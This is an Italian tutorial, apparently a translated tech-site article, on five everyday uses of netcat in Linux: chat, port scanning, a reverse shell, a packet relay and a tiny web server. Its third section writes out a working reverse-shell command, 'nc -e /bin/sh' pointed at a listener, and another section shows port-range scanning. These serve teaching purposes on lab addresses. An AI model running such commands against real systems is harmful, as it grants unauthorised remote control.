5 usi semplici e facili per Netcat in Linux

5 usi semplici e facili per Netcat in Linux

Netcat è una potente utility di rete a riga di comando in Linux che può inviare e ascoltare pacchetti TCP e UDP. A differenza di altri strumenti di rete, netcat è estremamente semplice. Tuttavia, la sua semplicità gli consente anche di svolgere quasi ogni tipo di attività su una rete.

Questo articolo ti mostrerà 5 semplici attività di rete che puoi eseguire con netcat. Inoltre, questo articolo evidenzierà anche ciò che rende speciale netcat e perché dovresti includerlo nel tuo toolkit Linux.

Come funziona Netcat e perché usarlo?

Netcat è un’utilità di base che può inviare e ricevere pacchetti di rete. È stato rilasciato per la prima volta nel 1995 da un programmatore pseudonimo di nome Hobbit. Da allora, netcat è stato una parte importante di ogni distribuzione Linux.

Fondamentalmente, netcat funziona inviando richieste di rete da un host Linux a un altro. Questa richiesta di rete può contenere qualsiasi tipo di dati e puoi inviarla su qualsiasi porta.

Un terminale che mostra un semplice trasferimento di testo tramite netcat.

Questo approccio significa che netcat può creare qualsiasi tipo di connessione di rete possibile. Ad esempio, il programma può creare connessioni TCP dirette che puoi utilizzare per trasferire file o creare sessioni di shell inversa .

Un desktop che mostra un semplice trasferimento di file tra due host Linux utilizzando netcat.
Fonte immagine: Pedro Lastra via Unsplash .

1. Sessione di chat tra pari

Uno degli usi più basilari di netcat è una semplice sessione di chat peer to peer tra due macchine Linux. Questo è un metodo di comunicazione che non si basa su server di terze parti per inviare e ricevere informazioni.

  • Affinché funzioni, devi aprire una porta tra 49152 e 65536 sul tuo computer locale. Qui è dove un host remoto sarà in grado di connettersi e inviare informazioni arbitrarie alla tua macchina.

sudo ufw allow 50000

  • Devi anche aprire una porta diversa sull’host remoto affinché la tua macchina possa inviare informazioni verso di essa:

sudo ufw allow 50001

  • Esegui netcatsulla tua macchina con i seguenti argomenti:

nc -lp 50000

Questo aprirà una sessione netcat che sta attivamente ascoltando i dati sulla porta 50000.

  • L’host remoto può ora inviare qualsiasi dato di testo verso il tuo computer locale. Ad esempio, il seguente comando invierà l’input standard del sistema a una macchina remota.

cat - | nc 192.168.122.136 50000

Un terminale che mostra il prompt di input standard per una chat netcat di base.
  • Per rispondere al messaggio, anche l’host remoto deve eseguire un demone in ascolto:

nc -lp 50001

  • Ora puoi anche inviare un messaggio dalla macchina locale all’host remoto:

cat - | nc 192.168.122.177 50001

Un terminale che mostra due terminali virtuali per una chat netcat full duplex.

2. Scanner per porte di base

Un port scanner è una semplice utility che controlla se un insieme di porte in una macchina è accessibile da un host remoto. Questo è molto utile nei casi in cui non sei sicuro che il tuo sistema abbia le porte appropriate aperte.

Per verificare la presenza di una singola porta, è possibile eseguire nc -vseguito dall’indirizzo IP e dalla porta che si desidera controllare:

nc -v 192.168.122.177 80

Un terminale che mostra una scansione di base della porta 80.

Puoi anche fornire un intervallo di numeri in cui netcat controllerà in sequenza ogni numero di porta all’interno di tale intervallo. Ad esempio, l’esecuzione del comando seguente eseguirà la scansione di tutte le porte “riconosciute” aperte:

nc -v 192.168.122.177 1-1024

Un terminale che mostra una scansione in blocco per

Uno degli svantaggi dell’interrogazione delle porte è che genera traffico di rete non necessario. Questo può essere un problema se stai testando una vasta gamma di porte in una piccola rete domestica.

Per risolvere questo problema, abilita la modalità “Zero I/O” di netcat che non crea alcuna attività di rete sull’host remoto:

nc -zv 192.168.122.177 1-1024

Un terminale che mostra una scansione della porta bulk zero IO con netcat.

3. Guscio inverso

Le shell inverse sono il pane quotidiano dei test di penetrazione in Linux. Si tratta di istanze di shell remote che consentono di controllare un sistema anche senza aprire le porte in entrata. Ciò rende utili le shell inverse se è necessario accedere a una macchina che non dispone di alcun accesso SSH.

  • Per creare una shell inversa, devi aprire un demone listener nel tuo computer locale:

nc -lp 50000

  • Avvia una connessione netcat nel tuo computer remoto. In questo caso, devi anche passare l’ambiente shell della macchina remota:

nc -e /bin/sh 192.168.122.136 50000

  • Torna al tuo computer locale ed esegui un comando shell. Ad esempio, l’esecuzione lsstamperà la directory corrente dell’utente remoto.

ls -la

Un terminale che mostra l'output di una shell inversa riuscita.
  • Per terminare la sessione della shell inversa, puoi premere Ctrl+ Csul demone listener della tua macchina locale.
Un terminale che mostra la chiusura del reverse shell nella macchina locale.

4. Relè pacchetto di base

Oltre a leggere e scrivere direttamente su un flusso di rete, puoi anche utilizzare netcat per reindirizzare una connessione in entrata a qualsiasi porta in uscita. Funziona concatenando più sessioni client e listener netcat utilizzando pipe UNIX.

  • Crea una sessione netcat in ascolto sulla porta 50000. Questa fungerà da porta in uscita per il tuo inoltro di base:

nc -lv localhost 50000

  • Apri un nuovo terminale ed esegui il seguente comando:

nc -lv localhost 50001 | nc localhost 50000

In questo modo verrà creato un nuovo demone listener sulla porta 50001 e reindirizzerà automaticamente tutti i pacchetti su questa porta alla porta 50000.

Un terminale che mostra la connessione passthrough tra due porte.
  • Ora puoi inviare dati alla tua porta in entrata e netcat reindirizzerà automaticamente il suo output alla tua porta in uscita.

echo "MakeTechEasier"| nc localhost 50001

Un terminale che mostra un inoltro di pacchetti di base in azione.
  • Oltre alle porte locali, puoi anche utilizzare questa funzione per reindirizzare il traffico di rete a un’altra macchina. Ad esempio, il codice seguente invia i dati nella porta 50000 alla stessa porta su un sistema diverso:

nc -lv localhost 50000 | nc 192.168.122.177 50000

Un terminale che mostra un inoltro di pacchetti di base tra due host.

5. Server HTTP di base

La configurazione di un server HTTP può essere un processo complesso anche se desideri servire solo una singola pagina. A tale proposito, netcat può anche fungere da semplice server Web statico che puoi avviare in Linux senza installare strumenti aggiuntivi.

  • Crea un file di risposta HTTP di base. Il seguente frammento di codice mostra una pagina web con un semplice messaggio:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Salvalo come “index.http” nella tua home directory.
Un terminale che mostra la struttura di una semplice risposta HTTP.
  • Esegui il seguente comando:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Un terminale che mostra un semplice server web netcat in esecuzione.

Ora hai un server web funzionante. Puoi visitare la tua pagina web aprendo un browser web e andando su http://localhost:8080.

Uno screenshot che mostra un server web netcat funzionante che serve una pagina web.
  • Premere Ctrl+ Csul terminale per uscire dalla sessione corrente del server web.
Un terminale che mostra il processo di chiusura per il webserver netcat di base.

Domande frequenti

Non riesco a connettermi a una macchina remota usando netcat.

Questo problema è molto probabilmente dovuto a una porta del firewall bloccata sul computer remoto. Devi assicurarti che la porta che stai utilizzando nella tua macchina sia aperta sia per le connessioni in entrata che per quelle in uscita. Ad esempio, è necessario eseguire sudo ufw allow 49999se si desidera utilizzare la porta 49999 sulla macchina remota.

È possibile connettersi a qualsiasi host utilizzando netcat?

No. Mentre netcat può leggere e scrivere su qualsiasi flusso di rete arbitrario, non può connettersi a una macchina che non è rilevabile dalla rete del tuo sistema. Questi includono reti private che non hanno il port forwarding abilitato così come sistemi air-gap che non hanno accesso alla rete.

È possibile falsificare una connessione in netcat?

No. Questo perché netcat può solo inviare e ricevere pacchetti da un’interfaccia di rete valida. Tuttavia, puoi modificare la provenienza di quel particolare pacchetto se disponi di più interfacce di rete.

Ad esempio, puoi eseguire nc -l -s 10.0.0.2 -p 50000per dire a netcat di inviare esplicitamente i pacchetti utilizzando l’interfaccia che ha l’indirizzo IP “10.0.0.2”.

Credito immagine: ThisisEngineering RAEng tramite Unsplash . Tutte le modifiche e gli screenshot di Ramces Red.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *